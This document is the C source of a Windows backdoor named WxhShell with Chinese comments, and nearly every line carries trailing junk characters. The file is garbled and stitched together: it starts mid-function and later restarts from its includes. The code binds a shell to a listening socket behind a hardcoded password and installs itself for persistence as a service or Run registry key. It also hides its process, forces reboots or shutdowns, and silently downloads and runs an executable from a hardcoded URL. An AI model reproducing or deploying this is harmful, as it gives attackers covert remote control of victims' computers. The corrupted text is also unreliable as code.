    if(Boot(SHUTDOWN)) C}})dL;(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1^qfw  
    else { N.j?:  
    closesocket(wsh);  ~\0uy3%  
    ExitThread(0); $s[DT!8N  
    } #zRT  
    break; ,F4 _ps?(  
    } qa|"kRCO  
  // 获取shell VW," dmC  
  case 's': { 7mUpn:U  
    CmdShell(wsh); R78=im7  
    closesocket(wsh); \&|zD"*  
    ExitThread(0); k{{iF  
    break; i2h,=NHJh?  
  } >n`!S`)9{  
  // 退出 fJjtrvNy)  
  case 'x': { ow,4'f!d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %cPz>PTW@  
    CloseIt(wsh); !i"Z  
    break; pONBF3H8  
    } E`^?2dv+/  
  // 离开 i;'kQ  
  case 'q': { >Ei-Spy>Xl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #7wOr78  
    closesocket(wsh); #fF~6wopV  
    WSACleanup(); 6f$h1$$)^  
    exit(1); uTSTBI4t  
    break; ao@"j}c  
        } Wa/&H$d\u@  
  } l7g< $3  
  } /^BaQeH?R  
}!^/<|$=  
  // 提示信息 9/La _ :K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7<'4WHi;@s  
} 3]*_*<D  
  } 2E@ !  
upD 2vtU  
  return; ;k<n}shD  
} Hg~O0p}[  
<G5d{rKZ  
// shell模块句柄 . q=sC?D  
int CmdShell(SOCKET sock) /1h 0 l;  
{ !jV}sp<Xp  
STARTUPINFO si; RsY7F;  
ZeroMemory(&si,sizeof(si)); `#X\@?'5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0cd`. ZF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P^1+;dL,D  
PROCESS_INFORMATION ProcessInfo; 'CTvKW  
char cmdline[]="cmd"; 'dnTu@mUT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *1Q~/<W  
  return 0; dHE\+{K%-  
} LuLnmnmB  
g?(h{r`  
// 自身启动模式 OZHQnvZ  
int StartFromService(void) ws{2 0  
{ L(a){<c  
typedef struct K#O8P+n5[  
{ sQBl9E'!be  
  DWORD ExitStatus; yAge2m]<B  
  DWORD PebBaseAddress; ~@3X&E0S  
  DWORD AffinityMask; c<'Pt4LY  
  DWORD BasePriority; %:^|Q;xe  
  ULONG UniqueProcessId; T8ga)BA  
  ULONG InheritedFromUniqueProcessId; ql|ksios  
}   PROCESS_BASIC_INFORMATION; GsYi/Z   
7y4!K$c$  
PROCNTQSIP NtQueryInformationProcess; m{U+aqAQK  
JWu^7}@~=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^>g7Kg"0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |{KZ<  
,ZVC@P,L  
  HANDLE             hProcess; nm!5L[y!0  
  PROCESS_BASIC_INFORMATION pbi; t-xw=&!w  
n1X.]|6'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QQ+?J~  
  if(NULL == hInst ) return 0; |j[=uS  
=Ws-s f]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mP1EWh|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  X,zqI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8x`?Yc  
Zcaec#  
  if (!NtQueryInformationProcess) return 0; -SZW[T<N"  
l7{Xy_66  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l9U^[;D  
  if(!hProcess) return 0; )PM&x   
qRD]Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sknta 0^=2  
L*A9a  
  CloseHandle(hProcess); a0vg%Z@!  
t@a2@dX|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C?UV3  
if(hProcess==NULL) return 0; ZDmBuf q  
0;*1g47\  
HMODULE hMod; h\ZnUn_J  
char procName[255]; eiL  ;  
unsigned long cbNeeded; piZ0KA"  
`iX~cUQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w8|38m  
7=YjY)6r^  
  CloseHandle(hProcess); W9!EjXg  
2#sJ`pdQ  
if(strstr(procName,"services")) return 1; // 以服务启动 tgu}^TfKkg  
sqAZjfy@  
  return 0; // 注册表启动 '.n0[2>  
} Gw"H#9J} T  
,ux?wa+  
// 主模块 !nQ!J+ g  
int StartWxhshell(LPSTR lpCmdLine) 1-@[th  
{ NJEubC?  
  SOCKET wsl; ] ~;x$Z)  
BOOL val=TRUE; `@8QQB  
  int port=0; +="?[:  
  struct sockaddr_in door; Iz'*^{Ssm  
!N6/l5kn  
  if(wscfg.ws_autoins) Install(); 3SRz14/W_R  
&ukYTDM  
port=atoi(lpCmdLine); ZDVz+L|p  
83"Vh$&  
if(port<=0) port=wscfg.ws_port; .%{3#\  
a$ f$CjQ  
  WSADATA data; Kh)SgJ3B@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <NV[8B#k]  
9{gY|2R_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6}aIb.j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]!yuD/4A  
  door.sin_family = AF_INET; `"N56  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3JB?G>\!  
  door.sin_port = htons(port); D^(Nijl9U  
W'Wr8~{h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5*.JXx E;U  
closesocket(wsl); JLS|G?#0  
return 1; gr\UI!]F  
} .OLm{  
kaSy 9Y{  
  if(listen(wsl,2) == INVALID_SOCKET) { &E0d{ 2  
closesocket(wsl); PZVh)6f"c  
return 1; w1Z9@*C!  
} OT6uAm+\7_  
  Wxhshell(wsl); >t-9yO1XQq  
  WSACleanup(); {> T r22S  
}O_kbPNw  
return 0; K{eq'F5M  
6,nws5dh  
} {rQ SB;3  
]>E)0<t  
// 以NT服务方式启动 D0'L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t5r,3x!E  
{ #0K122oY  
DWORD   status = 0; oyQp"'|N  
  DWORD   specificError = 0xfffffff; Pr |u_^  
![=C`O6K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |@{4zoP_N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =Q#} ,T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xgw[)!g^\  
  serviceStatus.dwWin32ExitCode     = 0; {+CW_ce  
  serviceStatus.dwServiceSpecificExitCode = 0; !(:R=J_h  
  serviceStatus.dwCheckPoint       = 0; W@R\m=e2  
  serviceStatus.dwWaitHint       = 0; QnsD,F; /  
oPSucz&s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RR,gC"cTi  
  if (hServiceStatusHandle==0) return; -+^E5  
zZ rUS'8  
status = GetLastError(); f+#^Lngo  
  if (status!=NO_ERROR) rkdf htpI  
{ 1P (5+9"s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W_ w^"'  
    serviceStatus.dwCheckPoint       = 0; T%GdvtmS>  
    serviceStatus.dwWaitHint       = 0; 2g>4fZ  
    serviceStatus.dwWin32ExitCode     = status; a[ Pyxx_K  
    serviceStatus.dwServiceSpecificExitCode = specificError; :#CQQ*@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wc&%icF*cr  
    return; lX^yd5M&f  
  } >HvgU_  
H7&>cM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2=P.$Kx  
  serviceStatus.dwCheckPoint       = 0; jNKu5"HB  
  serviceStatus.dwWaitHint       = 0; gIGyY7{(s8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~s#vP<QHa  
} wR)U&da`@  
tO0MYEx"  
// 处理NT服务事件,比如:启动、停止 oMM+af  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZCdlTdY   
{ i98>=y~  
switch(fdwControl) zcF`Z {&+  
{ 6[r-8_  
case SERVICE_CONTROL_STOP: (o+(YV^  
  serviceStatus.dwWin32ExitCode = 0; Q-scL>IkCb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $ {Y? jJ  
  serviceStatus.dwCheckPoint   = 0; tOQ2947zk  
  serviceStatus.dwWaitHint     = 0; dMo456L  
  { A .]o&S}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : ,0F_["3  
  } {s]yP_  
  return; }/dGC;p"  
case SERVICE_CONTROL_PAUSE: r]GG9si  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AoL2Wrk]\B  
  break; P0 R8 f  
case SERVICE_CONTROL_CONTINUE:  t 0 $}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5u\#@% \6  
  break; F+%6?2 J  
case SERVICE_CONTROL_INTERROGATE: s8i@HO  
  break; FU;b8{Y  
}; "])yV    
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); --t"X<.z  
} ccUI\!TD{/  
Y9YE:s  
// 标准应用程序主函数 T7F)'Mx<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ??X3teO{  
{ <4l;I*:2&  
BZ2frG\0&I  
// 获取操作系统版本 0rnne L  
OsIsNt=GetOsVer(); 7iI6._"!w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eSAB :L,K  
A6ar@$MZ  
  // 从命令行安装 &bh%>[  
  if(strpbrk(lpCmdLine,"iI")) Install(); <=1nr@L  
>bgx o<  
  // 下载执行文件 # Uc0 W  
if(wscfg.ws_downexe) { BWtGeaW/sr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qFqK. u  
  WinExec(wscfg.ws_filenam,SW_HIDE); A*&`cUoA  
} u\)2/~<]  
,CGq_>Z  
if(!OsIsNt) { 9E@}@ZV(  
// 如果时win9x,隐藏进程并且设置为注册表启动 /w5~ O:  
HideProc(); EbG`q!C  
StartWxhshell(lpCmdLine); G@Jl4iHug"  
} [I XX#^F  
else K<BS%~,I  
  if(StartFromService()) vdhwFp~Y  
  // 以服务方式启动 WF'Di4   
  StartServiceCtrlDispatcher(DispatchTable); 8-f2$  
else m+jW+  
  // 普通方式启动 Cf~H9  
  StartWxhshell(lpCmdLine); TGSUbBgU  
#kmZS/"  
return 0; ,WvCslZ  
} >~+'V.CNW  
Cob<N'.  
aPELAU-  
ceKR?%8s  
=========================================== APne!  
n]K`ofjl^  
\J)ffEKIp  
A2C|YmHk  
}DCR(p rD  
D%WgE&wtM  
" mVSaC  
'4T]=s~N  
#include <stdio.h> V~9vf*X  
#include <string.h> @bkZ< Gq  
#include <windows.h> /o/0 9K  
#include <winsock2.h> ">-mZ'$#L  
#include <winsvc.h> <B3v4 f  
#include <urlmon.h> ?PpGBm2f*  
Kuj*U'ed7t  
#pragma comment (lib, "Ws2_32.lib") 7 3 Oo;  
#pragma comment (lib, "urlmon.lib") CrTGC%w{=  
1u%e7  
#define MAX_USER   100 // 最大客户端连接数 TB oN8cB}  
#define BUF_SOCK   200 // sock buffer @)R6!"p  
#define KEY_BUFF   255 // 输入 buffer  Uk2U:  
*5Mg^}ZC5  
#define REBOOT     0   // 重启 O8!> t7x  
#define SHUTDOWN   1   // 关机 t;^NgkP{$  
Ke 5fe#  
#define DEF_PORT   5000 // 监听端口 Q')0 T>F-  
UNoNsmP  
#define REG_LEN     16   // 注册表键长度 {9/ayG[98  
#define SVC_LEN     80   // NT服务名长度 P7X':  
K #f*LV5  
// 从dll定义API W7sx/O9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b*AL,n?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  q#=}T~4j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }mhD2'E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J&vmW}&  
A_:YpQ07@  
// wxhshell配置信息 [~%\:of70n  
struct WSCFG { <"&I'9  
  int ws_port;         // 监听端口 o<pb!]1  
  char ws_passstr[REG_LEN]; // 口令 G`Ix-dADJm  
  int ws_autoins;       // 安装标记, 1=yes 0=no lZ\8$,B)  
  char ws_regname[REG_LEN]; // 注册表键名 );m7;}gE  
  char ws_svcname[REG_LEN]; // 服务名 CyWaXp65  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sz7|2OV"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T({]fc!c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2O*(F>>dT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FHoY=fCI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T#>1$0yv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7GyJmzEE  
@D'NoA@1A  
}; c~bTK" u  
=}8:zO 2'{  
// default Wxhshell configuration GfG!CG^ %  
struct WSCFG wscfg={DEF_PORT, f{[] m(X;  
    "xuhuanlingzhe", 5os(.   
    1, Wej'AR\NX  
    "Wxhshell", 88]UA  
    "Wxhshell", Zn-F!Lsv  
            "WxhShell Service", s}O9[_v  
    "Wrsky Windows CmdShell Service", Z*M]AvO+#  
    "Please Input Your Password: ", Fq-A vU  
  1, s={jwI50  
  "http://www.wrsky.com/wxhshell.exe", @@])B#  
  "Wxhshell.exe" BB>R=kt  
    }; !_ng_,J  
X}-) io  
// 消息定义模块 <8'-azpJ6<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t+2!"Jr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vk#wJ-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F$!K/Mm[  
char *msg_ws_ext="\n\rExit."; 9q4%s?)j  
char *msg_ws_end="\n\rQuit."; 3BSJ|o<"=  
char *msg_ws_boot="\n\rReboot..."; QoU0>p+ 2  
char *msg_ws_poff="\n\rShutdown..."; NI1jJfH|l  
char *msg_ws_down="\n\rSave to "; + Q $J q  
Kt 0 3F$  
char *msg_ws_err="\n\rErr!"; gbl`_t/  
char *msg_ws_ok="\n\rOK!"; }8zw| (GR,  
sfN6ro  
char ExeFile[MAX_PATH]; ~ .dmfA{  
int nUser = 0; 7e`ylnP!  
HANDLE handles[MAX_USER]; *yDsK+[_  
int OsIsNt; H J8rb  
SDW_Y^Tb  
SERVICE_STATUS       serviceStatus; |KC!6<}T~9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?xb4y=P7  
'5*8'.4Sy  
// 函数声明 !^,<nP  
int Install(void); BnB]]<gO"  
int Uninstall(void); ) vKZs:  
int DownloadFile(char *sURL, SOCKET wsh); .o&Vu,/H  
int Boot(int flag); l1EI4Y9KG  
void HideProc(void); }kCaTI?@#  
int GetOsVer(void); JIA'3"C  
int Wxhshell(SOCKET wsl); qZcRK9l]F1  
void TalkWithClient(void *cs); mfI>1W(  
int CmdShell(SOCKET sock); [ITtg?]F  
int StartFromService(void); 7a<-}>sU  
int StartWxhshell(LPSTR lpCmdLine); HqZ3]  
q#mw#Uw-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )[c@5zy~*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t& *K  
kt0ma/QpP  
// 数据结构和表定义 :B(vk3;U!  
SERVICE_TABLE_ENTRY DispatchTable[] = 'on8r*  
{ ;:%*h2  
{wscfg.ws_svcname, NTServiceMain}, zFq8xw  
{NULL, NULL} c^?+"7oO0  
}; B9&$sTAB  
q0>@!1Wb  
// 自我安装 P>i!f!o*I  
int Install(void) %#zqZ|q  
{ UP})j.z  
  char svExeFile[MAX_PATH]; m"r=p  
  HKEY key; "6<L) 8  
  strcpy(svExeFile,ExeFile); :O~*}7G  
3O'6 Ae  
// 如果是win9x系统,修改注册表设为自启动 )Gu:eYp+`  
if(!OsIsNt) { 3T|xUY)G4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $YNWT\FE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fr,qVYf  
  RegCloseKey(key); RTJ\|#w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t.ci!#/d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !qQ B}sAf  
  RegCloseKey(key); e[:i`J2  
  return 0; z+k[HE^S  
    } WcG}9)9  
  } XuY#EJbZ  
} !I8m(axW  
else { v"LH^!/  
SFiK_;  
// 如果是NT以上系统,安装为系统服务 8(b C.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KH~o0 W  
if (schSCManager!=0) qSg=[7XOO  
{ 4dgo*9  
  SC_HANDLE schService = CreateService aYBc)LCd  
  ( T|L_ +(M{  
  schSCManager, 9r efv  
  wscfg.ws_svcname, DMcH, _(  
  wscfg.ws_svcdisp, k-zkb2  
  SERVICE_ALL_ACCESS, ],3#[n[ m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C;EC4n+s  
  SERVICE_AUTO_START, $ncJc  
  SERVICE_ERROR_NORMAL, W{v{sQg  
  svExeFile, s[}4Q|s%  
  NULL, lQ]8PR t8  
  NULL, :|V`QM  
  NULL, H E'1Wa0r  
  NULL, QR#L1+Hn  
  NULL N Qdz]o  
  ); 0|^/e -^  
  if (schService!=0) Z +vT76g3  
  { gjGKdTr'  
  CloseServiceHandle(schService); I8s%wY9  
  CloseServiceHandle(schSCManager); W|yF jE&dr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 68 *~5]  
  strcat(svExeFile,wscfg.ws_svcname); V(^aG=TaW:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { : CR1Oy9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dP7nR1GS  
  RegCloseKey(key); !go$J]T  
  return 0; + bU*"5"  
    } {+SshT>J  
  } b;K]; o-/f  
  CloseServiceHandle(schSCManager); keMfK ]9  
} WCpCWtmy  
} L#}HeOEi[  
\@K KX  
return 1;  el"XD"*  
} Hx|<NS0}_  
yltzf #%  
// 自我卸载 N"M?kk,  
int Uninstall(void) v[*&@aW0n  
{ g:yUZ;U  
  HKEY key; 5x} XiMM  
))<1"7D^^  
if(!OsIsNt) { kYl')L6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O9_S"\8]@  
  RegDeleteValue(key,wscfg.ws_regname); ui[E,W~  
  RegCloseKey(key); A{QXzoWkg0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DJGq=*  
  RegDeleteValue(key,wscfg.ws_regname); v Wt{kg;  
  RegCloseKey(key); @}r2xY1  
  return 0; 8e:\T.)M  
  } _Dv<  
} .vm.g=-q  
} (0c L! N;;  
else { bY>JLRQJ-  
c@ea ;Cv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pp!>:%  
if (schSCManager!=0) |LwW/>I  
{ B4>kx#LR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c'LDHh7b  
  if (schService!=0) VY#:IE:T  
  { ;#>,eD2u  
  if(DeleteService(schService)!=0) { f]*_]J/  
  CloseServiceHandle(schService); qtQB}r8  
  CloseServiceHandle(schSCManager); ^-Knx!z  
  return 0; K5ywO8_6`  
  } 3SU:Xd(\o  
  CloseServiceHandle(schService); yOQEF\  
  } B\ITXmd   
  CloseServiceHandle(schSCManager); @[vwqPOL  
} VZRM=;V  
} O6Gg?j  
!K~L&.\T  
return 1; j_I  
} @|1/yQgi  
\kQ@G  
// 从指定url下载文件 )HFl 0[vT  
int DownloadFile(char *sURL, SOCKET wsh) R DAihq  
{ {TWgR2?{C  
  HRESULT hr; R=/6bR57  
char seps[]= "/"; ;Bs^+R7  
char *token; 3H'+7[~qH  
char *file; 5YQq*$|'+  
char myURL[MAX_PATH]; qOi3`6LCV  
char myFILE[MAX_PATH]; 4wa8Vw`  
bktw?{h  
strcpy(myURL,sURL); Mb2rHUr  
  token=strtok(myURL,seps); J(s%"d  
  while(token!=NULL) 51Nh"JTy  
  { u>cU*E4/  
    file=token; ^9ZW }AAO  
  token=strtok(NULL,seps); _]Ei,Ua  
  } J6s55 v  
potb6jc?  
GetCurrentDirectory(MAX_PATH,myFILE); POouO/r$  
strcat(myFILE, "\\"); 'g$a.75/-  
strcat(myFILE, file); x9Qa.Jmj  
  send(wsh,myFILE,strlen(myFILE),0); #3L=\j[ y  
send(wsh,"...",3,0); G ]T A7~VT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cHG>iW9C  
  if(hr==S_OK) ti)4J2c,8  
return 0; bN',-[E  
else .).*6{_  
return 1; `c-(1 ;Jb  
~5f|L(ODX  
} QvF UFawN  
[8sL);pJO  
// 系统电源模块 X`QfOs#\  
int Boot(int flag) N;.cZp2  
{ NUclF|G  
  HANDLE hToken; -c1$>+  
  TOKEN_PRIVILEGES tkp; 0tzMu#  
r$7D;>*O{  
  if(OsIsNt) { -bq\2Yc$]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OSvv\3=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6}vPwI  
    tkp.PrivilegeCount = 1; 9bDxml1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TAbC-T.EV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ef}rMkv  
if(flag==REBOOT) { rdL>yT/A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `B^ HW8  
  return 0; b;[u=9ez  
} A#"AqNVWv  
else { 4I[g{S nF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L%7?o:  
  return 0; |VC/ (A  
} $g|/.XH%  
  } vk:m >?(  
  else { U73{Uv  
if(flag==REBOOT) { y?|JBf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ={a8=E!;  
  return 0; e:BKdZGW  
} CPI7&jqu  
else { L;},1 \  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) );$L#XpB  
  return 0; U[S#axak  
} 7@.UkBOx  
} <3!jra,h  
)32BM+f"77  
return 1; %rz.>4i)(  
} hb>,\46}  
y`~[R7E  
// win9x进程隐藏模块 ((U-JeFW   
void HideProc(void) S> f8j?n  
{ $=j}JX}z  
A@@Z?t.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :EK.&% 2  
  if ( hKernel != NULL ) "[.adiw  
  { &oWdBna"_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /lQGFLZL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r+BPz%wM=O  
    FreeLibrary(hKernel); 6 ]@H.8+  
  } W*hRYgaX3  
RhG9Xw9  
return; =$B:i>z<  
} H\f.a R=  
-Kj^ l3w  
// 获取操作系统版本 0ih=<@1K  
int GetOsVer(void) o)P'H"Ki  
{ Y9TaU]7]  
  OSVERSIONINFO winfo; gE/O29Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e+z_Rj%Y;I  
  GetVersionEx(&winfo); G<C[A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Lx#5}P  
  return 1; mis cmD  
  else /\-qz$  
  return 0; k,xY\r$  
} _u^ S[  
)g9&fGYf  
// 客户端句柄模块 R4<}kA,.  
int Wxhshell(SOCKET wsl)  R1YRqk  
{ \e5bxc  
  SOCKET wsh; Ly?gpOqu5  
  struct sockaddr_in client; i/nA(%_  
  DWORD myID; AepAlnI@  
/++CwRz@Gm  
  while(nUser<MAX_USER) -d+q+l>0  
{ 2 $^n@<uZ@  
  int nSize=sizeof(client); s%nx8"   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8_MR7'C1hi  
  if(wsh==INVALID_SOCKET) return 1; y>vr Uxgo  
(u81p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tp.0@aC  
if(handles[nUser]==0) r00 fvZyK  
  closesocket(wsh); S x';Cj-  
else "-Lbz)k  
  nUser++; W9~vBU  
  } Y"&&=M#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); swvn*xr  
Z8P{Cr~U9  
  return 0; e9;<9uX  
} :,$:@  
MfhJb_q`  
// 关闭 socket LYPjdp2>"o  
void CloseIt(SOCKET wsh) W'2|hP  
{ {I|iUfy  
closesocket(wsh); hL#5:~(  
nUser--; $UMxO`F  
ExitThread(0); u@\]r 1  
} H gMLh*  
+53 Tf  
// 客户端请求句柄 'W 5r(M4U  
void TalkWithClient(void *cs)  9x/HQ(1  
{ ?Gc9^b B I  
LlP_`fA  
  SOCKET wsh=(SOCKET)cs; s+>VqyHgf  
  char pwd[SVC_LEN]; U+t|wK  
  char cmd[KEY_BUFF]; Gxu&o%x [  
char chr[1]; dUOvv/,FZT  
int i,j; kAbRXID  
[ Y_6PR  
  while (nUser < MAX_USER) { A.<HOx&#  
&k+G^ !=s#  
if(wscfg.ws_passstr) { Paz yY   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wSHE~Xx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  $9dm2#0d  
  //ZeroMemory(pwd,KEY_BUFF); )cnB>Qul  
      i=0; @~0kSA7  
  while(i<SVC_LEN) { 9"g=it2Rh6  
,vEwck#  
  // 设置超时 .7TQae%  
  fd_set FdRead; > $0eRVL  
  struct timeval TimeOut; "ZDc$v:Qa  
  FD_ZERO(&FdRead); N.OC _H&  
  FD_SET(wsh,&FdRead); wkK61a h6  
  TimeOut.tv_sec=8; /238pg~Cw5  
  TimeOut.tv_usec=0; RKsr}-1 8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $:kG>R@\t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \TS t  
3!M;Z7qF]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :B?XNo  
  pwd=chr[0]; oR>o/$z$)g  
  if(chr[0]==0xd || chr[0]==0xa) { ;/#E!Ja/ u  
  pwd=0; nj99!"_   
  break; T_bk%  
  } kVk^?F  
  i++; 5K13    
    } 8Czy<}S<G  
gNJ,Bj Pd  
  // 如果是非法用户,关闭 socket (3`Q`o;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k;PQVF&E  
} DQM\Y{y|3  
d:C-   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _IJPZ'Hr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q6Z%T.1  
Q#8}pBw  
while(1) { w}VS mt$F  
,Ju f  
  ZeroMemory(cmd,KEY_BUFF); qepsR/0M  
l$D]*_ jc,  
      // 自动支持客户端 telnet标准   EotZ$O=  
  j=0; (#FWA<o  
  while(j<KEY_BUFF) { ItGi2'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Clxe Lk  
  cmd[j]=chr[0]; 57e'a&}e  
  if(chr[0]==0xa || chr[0]==0xd) { uj|{TV>v9  
  cmd[j]=0; !={Z]J  
  break; WJBi#(SY  
  } BX&bhWYGFX  
  j++; 09<O b[%h  
    } Ql sMMIax  
xg %EQ  
  // 下载文件 M7BCBA  
  if(strstr(cmd,"http://")) { XYIZ^_My  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [8AGW7_  
  if(DownloadFile(cmd,wsh)) |i'V\" hW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_S8m|%  
  else MVU5+wX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =vLeOX  
  } PV vNu5k  
  else { '"LrGvkZ  
=,&PD(.  
